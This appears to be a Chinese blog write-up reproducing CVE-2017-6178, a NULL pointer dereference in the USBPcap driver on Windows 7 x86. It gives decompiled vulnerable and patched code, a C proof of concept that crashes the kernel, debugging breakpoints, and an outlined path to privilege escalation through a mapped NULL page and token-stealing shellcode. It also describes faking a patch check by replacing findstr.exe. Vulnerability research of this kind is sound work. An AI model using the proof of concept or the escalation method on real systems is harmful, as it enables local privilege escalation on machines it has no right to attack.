CVE-2017-6178 漏洞复现
复现CVE-2017-6178
时,还是踩了很多坑的
环境
虚拟机:Win7 SP1 x86
物理机:Win10
debugger:windbg preview
compiler:vs2022
主要为了获取x86
的USBPcap.sys
花费了很多时间,首先根据CVE-2017-6178
的漏洞描述以及exploit-db
的说明,可知其实可以通过安装Wireshark-win32-2.2.5.exe得到USBPcap.sys
但是我最初的时候,通过Win7 SP x64
安装,但是这样得到的是x64
的USBPcap.sys
(我不确定是否存在洞,最后分析完了之后看x64
版本是有的,其实github
上1.0.0.7
里面也有洞,可是当时我没翻到这个文件🙃),于是我把x64
上得到的USBPcapSetup-1.1.0.0-g794bf26-5.exe
放到win7 x86
上进行安装,最后得到了x86
的USBPcap.sys
(直接拿32位的wireshark-2.2.5.exe
安装也应该可以)
这个时候就报出,需要将win7
更新到安装了KB3033929
的版本,但是我已经安装了,最后在USBPcap
的github
仓库的issue,找到了一个伪装自己已经安装了KB3033929
的方法
通过创建一个内容为@echo KB3033929
的findstr.cmd
文件,放入c:\windows\system32
目录,并将其目录下的findstr.exe
修改名字,从而实现查询时,返回已安装的结果
注:这个地方,需要重命名findstr.exe
的时候需要修改findstr.exe
文件的own
和赋予admin
权限,参考这篇博客
漏洞分析
这个漏洞其实比较简单,就是在设置dispatchHandler
时,对于IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
,这个handler
中处理出错(注:sub_1145A
即IRP_MJ_FILE_SYSTEM_CONTROL
的handler
)
int __stdcall sub_1145A(int a1, PVOID Tag)
{
_DEVICE_OBJECT *v2; // edi
int v3; // eax
_DEVICE_OBJECT *DriverObject; // ecx
NTSTATUS v6; // edi
_DEVICE_OBJECT **p_AttachedDevice; // [esp-Ch] [ebp-18h]
int v8; // [esp+14h] [ebp+8h]
v2 = *(_DEVICE_OBJECT **)(a1 + 40);
v3 = IoAcquireRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, &File, 1u, 0x18u);
v8 = v3;
if ( v3 >= 0 )
{
DriverObject = (_DEVICE_OBJECT *)v2->DriverObject;
++*((_BYTE *)Tag + 35);
*((_DWORD *)Tag + 24) += 36;
p_AttachedDevice = &v2->AttachedDevice;
v6 = IofCallDriver(DriverObject, (PIRP)Tag);// vuln
IoReleaseRemoveLockEx((PIO_REMOVE_LOCK)p_AttachedDevice, Tag, 0x18u);
return v6;
}
else
{
sub_11434((PIRP)Tag, v3, 0);
return v8;
}
}
这个地方并未判断DriverObject
是否为NULL
,而导致这个未初始化的值直接传入了IofCallDriver
,从而出现了空指针解引用的错误
最终crash
位置
Access violation - code c0000005 (!!! second chance !!!)
eax=87b91268 ebx=86ff89f0 ecx=0000000d edx=87b911f8 esi=00000000 edi=86ff89e0
eip=83e57f7b esp=8a987ac0 ebp=8a987ac8 iopl=0 nv up ei ng nz na po cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010383
nt!IofCallDriver+0x57:
83e57f7b 8b4608 mov eax,dword ptr [esi+8] ds:0023:00000008=????????
POC
因为是IRP_MJ_FILE_SYSTEM_CONTROL
,所以要用FILE_DEVICE_FILE_SYSTEM
的IOCTL
才可以
#define FILE_DEVICE_FILE_SYSTEM 0x00000009
#define FILE_DEVICE_UNKNOWN 0x00000022
最终POC
是直接用的 k0keoyo师傅的POC
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
HANDLE hDevice;
DWORD dwRetBytes = 0;
hDevice = CreateFile("\\\\.\\USBPcap1", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile failed (%.08x)\n", GetLastError());
return -1;
}
bResult = DeviceIoControl(hDevice, 0x00090000,(LPVOID)0x1, (DWORD)0, NULL, 0, &dwRetBytes, NULL);
if (!bResult)
{
printf("[-] DeviceIOControl failed (%.08x)\n",GetLastError());
return 0;
}
printf("[+] if show this info ,PoC is failed:(\n\n");
return 0;
}
patch
修复这个漏洞也很简单,就是判断一下这个DriverObject
是不是初始化的NULL
NTSTATUS __stdcall sub_402038(int a1, PVOID Tag)
{
_DEVICE_OBJECT *v2; // ebx
int v3; // eax
NTSTATUS v4; // edi
struct _DEVICE_OBJECT *DriverObject; // ecx
v2 = *(_DEVICE_OBJECT **)(a1 + 40);
v3 = IoAcquireRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, &File, 1u, 0x18u);
v4 = v3;
if ( v3 >= 0 )
{
DriverObject = (struct _DEVICE_OBJECT *)v2->DriverObject;
if ( DriverObject )
{
++*((_BYTE *)Tag + 35);
*((_DWORD *)Tag + 24) += 36;
v4 = IofCallDriver(DriverObject, (PIRP)Tag);
}
else
{
v4 = -1073741808;
sub_40201A((PIRP)Tag, -1073741808, 0);
}
IoReleaseRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, 0x18u);
}
else
{
sub_40201A((PIRP)Tag, v3, 0);
}
return v4;
}
调试
调试这边踩坑特别多,最初对DeviceIoControl
的流程不理解的时候,下断点的时候,一直参照其他的调试驱动出错时的nt!NtDeviceIoControlFile
函数中下断点
最初是以为是,自己的条件断点不熟练,以及offset=0
时,这个ebp
还不是后续的ebp
所以出错
nt!NtDeviceIoControlFile:
840a07a9 8bff mov edi,edi
840a07ab 55 push ebp
840a07ac 8bec mov ebp,esp
840a07ae 6a01 push 1
840a07b0 ff752c push dword ptr [ebp+2Ch]
840a07b3 ff7528 push dword ptr [ebp+28h]
840a07b6 ff7524 push dword ptr [ebp+24h]
840a07b9 ff7520 push dword ptr [ebp+20h]
840a07bc ff751c push dword ptr [ebp+1Ch]
840a07bf ff7518 push dword ptr [ebp+18h]
840a07c2 ff7514 push dword ptr [ebp+14h]
840a07c5 ff7510 push dword ptr [ebp+10h]
840a07c8 ff750c push dword ptr [ebp+0Ch]
840a07cb ff7508 push dword ptr [ebp+8]
840a07ce e8a682fbff call nt!IopXxxControlFile (84058a79)
840a07d3 5d pop ebp
840a07d4 c22800 ret 28h
后来才发现是因为,这个DeviceIoControl
因为是#define FILE_DEVICE_FILE_SYSTEM 0x00000009
,所以走的是另外一条路,应该是在nt!NtFsControlFile
中下断点
最终条件断点的指令为
bp nt!NtFsControlFile+0x25 ".printf\"IOCTL:%p\",dwo(esp+0x14);.echo;g"
bp nt!NtFsControlFile+0x25 ".if(dwo(esp+0x14)=0x00090000){}.else{gc;}"
bp nt!IofCallDriver+60 ".if(ecx=0xd){}.else{gc;}"
这个地方也可以用poi
,关于dwo qwo poi的区别,多个条件的断点,echo
该POC的整个流程
为了调试弄清DeviceIoControl
从用户态如何到了驱动的dispatch Handler
,我在如下地方下了断点
bp kernel32!DeviceIoControl
bp kernel32!DeviceIoControlImplementation
bp kernelbase!DeviceIoControl
发现首先会断在kernel32!DeviceIoControlImplementation
,再是kernel32!DeviceIoControl
,最后是kernelbase!DeviceIoControl
因此该流程应该如下
用户态的DeviceIoControl
=> 内核的ntoskrnl.exe
的ZwDeviceIoControl
函数(通过call KiSystemService
)
NTSTATUS __stdcall ZwDeviceIoControlFile(...)
{
__readeflags();
return KiSystemService(8);
}
=> 内核kernel32.dll
的DeviceIoControlImplementation
(通过call DeviceIoControl
)
BOOL __stdcall DeviceIoControlImplementation(...)
{
DWORD v8; // esi
NTSTATUS v10; // eax
v8 = dwIoControlCode;
if ( dwIoControlCode != 0x2D4808 && dwIoControlCode != 0x74808 && dwIoControlCode != 0x90020
|| NtCurrentTeb()->ProcessEnvironmentBlock->SessionId == MEMORY[0x7FFE02D8] )
{
return DeviceIoControl(...);
}
v10 = IsTSAppCompatEnabled((BOOL *)&dwIoControlCode);
if ( v10 >= 0 )
{
if ( dwIoControlCode && !IsCallerAdminOrSystem() )
{
BaseSetLastNTError(-1073741790);
return 0;
}
return DeviceIoControl(...);
}
BaseSetLastNTError(v10);
return 0;
}
=> 内核kernel32.dll
的DeviceIoControl
(通过plt
)
// attributes: thunk
BOOL __stdcall DeviceIoControl(...)
{
return __imp__DeviceIoControl@32(...);
}
=> 内核kernelbase.dll
的DeviceIoControl
,在该函数通过判断是否为FILE_DEVICE_FILE_SYSTEM
而判断进NtFsControlFile
还是NtDeviceIoControlFile
#define FILE_DEVICE_FILE_SYSTEM 0x00000009
#define FILE_DEVICE_UNKNOWN 0x00000022
BOOL __stdcall DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped)
{
HANDLE hEvent; // eax
int v9; // eax
int Status; // eax
struct _IO_STATUS_BLOCK IoStatusBlock; // [esp+10h] [ebp-20h] BYREF
CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]
if ( !lpOverlapped )
{
if ( (dwIoControlCode & 0xFFFF0000) == 0x90000 )
Status = NtFsControlFile(
hDevice,
0,
0,
0,
&IoStatusBlock,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize);
else
Status = NtDeviceIoControlFile(
hDevice,
0,
0,
0,
&IoStatusBlock,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize);
if ( Status == 0x103 )
{
Status = NtWaitForSingleObject(hDevice, 0, 0);
if ( Status < 0 )
{
LABEL_15:
if ( (Status & 0xC0000000) != -1073741824 )
*lpBytesReturned = IoStatusBlock.Information;
BaseSetLastNTError(Status);
return 0;
}
Status = IoStatusBlock.Status;
}
if ( Status >= 0 )
{
*lpBytesReturned = IoStatusBlock.Information;
return 1;
}
goto LABEL_15;
}
....
return 0;
}
如果是NtDeviceIoControlFile
的话
=> 内核 ntdll.dll 的 ZwDeviceIoControlFile(call KiFastSystemCall)
=> 内核 ntoskrnl.exe 的 NtDeviceIoControlFile
=> 内核 ntoskrnl.exe 的 IopXxxControlFile
如果是NtFsControlFile
的话
=> 内核 ntdll.dll 的 ZwFsControlFile(call KiFastSystemCall)
=> 内核 ntoskrnl.exe 的 NtFsControlFile
=> 内核 ntoskrnl.exe 的 IopXxxControlFile
IopXxxControlFile
函数会对IRP
进行封装和分发,在IopXxxControlFile
函数中会调用IopSynchronousServiceTail
,在IopSynchronousServiceTail
中会调用IofCallDriver
在IofCallDriver
中,对于不同的v5
调用之前驱动中设置好的dispatch Handler
NTSTATUS __fastcall IofCallDriver(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
unsigned int v4; // eax
unsigned __int8 v5; // cl
char v6; // al
void *retaddr; // [esp+Ch] [ebp+4h]
if ( pIofCallDriver )
return pIofCallDriver(DeviceObject, Irp, retaddr);
if ( --Irp->CurrentLocation <= 0 )
KeBugCheckEx(0x35u, (ULONG_PTR)Irp, 0, 0, 0);
v4 = Irp->Tail.Overlay.PacketType - 36;
Irp->Tail.Overlay.PacketType = v4;
v5 = *(_BYTE *)v4;
*(_DWORD *)(v4 + 20) = DeviceObject;
if ( v5 == 22 && ((v6 = *(_BYTE *)(v4 + 1), v6 == 2) || v6 == 3) )
return IopPoHandleIrp();
else
return DeviceObject->DriverObject->MajorFunction[v5](DeviceObject, Irp);
}
其汇编为call dword ptr [eax+ecx*4+38h] : ecx = 0xd
,而0xd
正是IRP_MJ_FILE_SYSTEM_CONTROL
因此对于当前这个POC
,其整个DeviceIoControl
的流程为
UserMode!DeviceIoControl
-> ntoskrnl!ZwDeviceIoControl
-> kernel32!DeviceIoControlImplementation
-> kernel32!DeviceIoControl
-> kernelbase!DeviceIoControl
-> ntdll!ZwFsControlFile
-> ntoskrnl!NtDeviceIoControlFile
-> ntoskrnl!IopXxxControlFile
-> ntoskrnl!IopSynchronousServiceTail
-> ntoskrnl!IofCallDriver
-> USBPcap!IRP_MJ_FILE_SYSTEM_CONTROL_dispatch_handler
EXP
最后这个crash
位置是83e57f7b 8b4608 mov eax,dword ptr [esi+8]
而此时,esi=0x0
,这个内存不存在,因此出错,而win7
还可以对0
地址进行分配内存,因此可以直接在0
地方分配内存,则最后会call [eax+ecx*4+38h]
,而此时,ecx=0xd
,因此相当于call [0x6c]
nt!IofCallDriver+0x57:
83e74f7b 8b4608 mov eax,dword ptr [esi+8]
83e74f7e 52 push edx
83e74f7f 0fb6c9 movzx ecx,cl
83e74f82 56 push esi
83e74f83 ff548838 call dword ptr [eax+ecx*4+38h]
按照之前的HEVD
写个shellcode
,steal token
就可以提权,最后注意能使流程正常返回即可
总结
其实漏洞比较简单,就是在整个过程的环境搭建和调试磨了很长时间,然后熟悉了一下DeviceIoControl
的整个调用链
参考
https://www.anquanke.com/post/id/86203
https://www.exploit-db.com/exploits/41542
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!